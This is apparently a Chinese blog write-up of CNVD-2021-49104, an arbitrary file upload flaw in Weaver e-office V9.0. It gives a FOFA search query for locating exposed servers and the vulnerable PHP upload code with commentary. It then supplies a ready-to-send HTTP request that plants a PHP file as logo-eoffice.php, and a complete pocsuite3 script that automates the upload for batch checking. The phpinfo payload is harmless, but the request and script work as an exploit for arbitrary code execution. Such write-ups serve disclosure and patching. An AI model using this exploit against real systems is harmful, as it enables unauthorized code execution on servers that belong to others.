漏洞描述

泛微e-office是泛微旗下的一款标准协同移动办公平台。

CNVD-2021-49104

由于 e-office 未能正确处理上传模块中的用户输入,攻击者可以通过该漏洞构造恶意的上传数据包,最终实现任意代码执行。

该漏洞CVSS评分:9.0,危害等级:高危

FOFA 查询

app="泛微-EOffice"

影响范围

影响版本:泛微e-office V9.0

代码分析

出现问题的代码在/general/index/UploadFile.php文件中,具体位置是

if ($uploadType == "eoffice_logo") {$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";if (!file_exists($targetPath)) {mkdir($targetPath, 511, true);}$ext = $this->getFileExtension($_FILES['Filedata']['name']);//将上传的文件尾缀传给变量$ext$_targetFile = "logo-eoffice" . $ext;//将上传的文件名改为logo-eoffice.$ext$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;//将['DOCUMENT_ROOT']/images/logo/logo-eoffice.$ext 中的‘//’替换为'/'if (move_uploaded_file($tempFile, $targetFile)) {$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";$result = exequery($connection, $query);$row = mysql_fetch_array($result);$param1 = $param2 = false;if (!$row) {$query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";$param1 = exequery($connection, $query);} else {$query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";$param1 = exequery($connection, $query);}//这段代码就是判断文件是否上传成功,如果成功了就更新数据库中的内容$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";$result = exequery($connection, $query);$row = mysql_fetch_array($result);if (!$row) {$query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";$param2 = exequery($connection, $query);} else {$query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";$param2 = exequery($connection, $query);}if ($param1 && $param2) {echo $_targetFile;//上传成功后就输出文件名} else {echo 0;}} else {echo 0;}
}

漏洞分析

如上面代码所示,代码并没有对传入的文件进行过滤,如果我们传入一个php文件,那么传入的test.php就会变成logo-eoffice.php,并且传入到$_SERVER['DOCUMENT_ROOT']/images/logo目录下

POC

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: url:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: LOGIN_LANG=cn; PHPSESSID=74c67d4ff7f3e45061684cba5a55c63b
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
Content-Length: 192--123123
Content-Disposition: form-data; name="Filedata"; filename="1.php"
Content-Type: image/jpeg<?php
phpinfo();
?>--123123--

pocsuite

# -*- coding:utf-8 -*-
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from urllib.parse import urljoin
from pocsuite3.lib.utils import random_strclass DemoPOC(POCBase):vulID = "CNVD-2021-49104"version ='泛微 e-office v9.0'author = ["HADESI"]vulDate = "2020-12-15"createDate = "2021-11-30"updateDate = "2021-11-30"references =["https://nosec.org/home/detail/4910.html"]name ="泛微E-Office文件上传漏洞(CNVD-2021-49104)"appPowerLink = ''appName = '泛微E-Office'appVersion = 'v9.0'vulType = 'VUL_TYPE.UPLOAD_FILES 'desc = '''泛微E-Office文件上传漏洞'''samples = []install_requires = ['']def _verify(self):result ={}path ="/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId="headers={'Content-Type': 'multipart/form-data; boundary=123123'}url = urljoin(self.url, path)data='''
--123123
Content-Disposition: form-data; name="Filedata"; filename="1.php"
Content-Type: image/jpeg<?php
phpinfo();
?>--123123--'''try:rr = requests.post(url=url,headers=headers,data=data,timeout=5)resq_results=requests.get(url=self.url+'/images/logo/logo-eoffice.php')if "System" in resq_results.text:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = urlresult['VerifyInfo']['path'] = self.url+'/images/logo/logo-eoffice.php'#result['VerifyInfo']['Name'] = payloadexcept Exception as e:passreturn self.parse_output(result)def parse_output(self, result):output = Output(self)if result:output.success(result)else:output.fail('target is not vulnerable')return outputdef _attack(self):return self._verify()
register_poc(DemoPOC)

(php)泛微E-Office文件上传漏洞(原理分析+复现+批量检测)相关推荐

  1. 泛微E-Office最新文件上传漏洞(CNVD-2021-49104)

    0x00  漏洞介绍 泛微e-office是泛微旗下的一款标准协同移动办公平台.主要面向中小企业.该漏洞是由于 e-office 未能正确处理上传模块中用户输入导致的,攻击者可以构造恶意的上传数据包, ...

  2. 泛微e-cology9前台文件上传漏洞复现

    目录 1.前言 2.漏洞概述 3.漏洞原理 4.影响版本 5.漏洞等级 6.漏洞复现

  3. 网安基础学习之“文件上传漏洞原理与实现”

    网安基础学习之"文件上传漏洞原理与实现" 近期新闻头条上报出了"长沙市场监管局网站被上传了黄色页面",经过长沙市公安局网技支队的排查,该门户网站后台编辑器存在* ...

  4. 文件上传漏洞原理/方式/防护

    文件上传漏洞是获取服务器权限最快也是最直接的一个漏洞 原理 文件上传漏洞是指用户上传可执行脚本文件 , 并通过脚本文件控制Web服务器 利用方式 文件上传漏洞的利用分为客户端和服务端 客户端主通过JS ...

  5. 文件上传漏洞原理与实例测试

    0x00 什么是文件上传 为了让用户将文件上传到网站,就像是给危机服务器的恶意用户打开了另一扇门.即便如此,在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率.企业支持门 ...

  6. 文件上传漏洞原理和利用

    文件上传 1.前段选择文件,提交文件 2.浏览器形成POST MultiPart报文发送到服务器 3.服务器中间件接收到报文,解析后交给后端代码进行处理 4.后端代码将上传的文件内容写入到临时文件中( ...

  7. 文件上传漏洞-原理篇

    目录 第1章 文件上传漏洞基础 1.1 漏洞概述 1.2 漏洞成因 1.3 漏洞危害 1.4 漏洞利用姿势 第2章 文件上传漏洞检测与绕过 2.1 前端检测和绕过 2.2 服务器端检测和绕过 第3章 ...

  8. 文件上传漏洞揭密剖析(一)-文件上传漏洞原理

    前言 文件上传漏洞(File Upload Vulnerability)是一种常见的 Web 应用程序漏洞,通常存在于需要用户上传文件的应用程序中,如论坛.电子商务网站.博客.社交网站等.攻击者可以通 ...

  9. 渗透测试公司 对网站文件上传漏洞的安全扫描与检测

    撸了今年阿里.头条和美团的面试,我有一个重要发现.......>>> 很多客户网站以及APP在上线运营之前都会对网站进行渗透测试,提前检测网站是否存在漏洞,以及安全隐患,避免因为网站 ...

最新文章

  1. 教你 7 招,迅速提高服务器并发能力!
  2. C# 无边框异型窗体制作
  3. 5步详解PHP文件上传功能的实现
  4. 想从远程办公进入 toB 蓝海?它可以,你未必
  5. Cocos2d-X-3.0之后的版本的环境搭建
  6. 网络生活催生新式词汇
  7. 导入一个maven项目出现红色叉号的解决办法
  8. datagrid与jqgrid区别
  9. spring boot 2使用Mybatis多表关联查询
  10. 简述hdfs工作原理_HDFS 原理简述
  11. python opencv二值化阈值图像分割
  12. 机器人教练SWOT分析_用SWOT方法分析中国智能机器人的发展现状
  13. webservice 缺少根元素_草莓种植,钙、硼元素十分重要,直接关系到草莓的产量和品质!...
  14. 数据宝贝儿放云上,你放心么?
  15. unity2019安装完后打不开直接闪退_VS2017 VS2019 无法进入安装界面闪退问题(windows7SP1)...
  16. http://nianjian.xiaze.com/tags.php?/%E5%B9%BF%E5%B7%9E%E7%BB%8F%E6%B5%8E%E5%B9%B4%E9%89%B4/1/1360241
  17. 个人表现怎么写学生_个人主要事迹怎么写
  18. 全国计算机考试励志语,有关在考试的时候励志句子
  19. 手机qpython3 如何画图_记住这3个功能,一分钟掌握python sns作图
  20. 中国电热水器行业发展现状及趋势分析,头部厂商市场份额进一步上升「图」

热门文章

  1. PMSM FOC控制 Matlab/Simulink仿真之反Park变换
  2. 开源自主导航小车MickX4(二)ROS底盘运动控制
  3. H323Client-3 H323 终端
  4. mybatis黑马:一级缓存和二级缓存
  5. java控制台输入带空格的字符串
  6. abaqus子程序开发学习笔记
  7. CSC系统--Chrome浏览器登陆方法
  8. 解决无法正常下载Git安装包的问题
  9. gx works2 存储器空间或桌面堆栈不足_小户型旧房翻新的8个重点,小家也能住出大空间...
  10. 初识DICOM以及pydicom的基础操作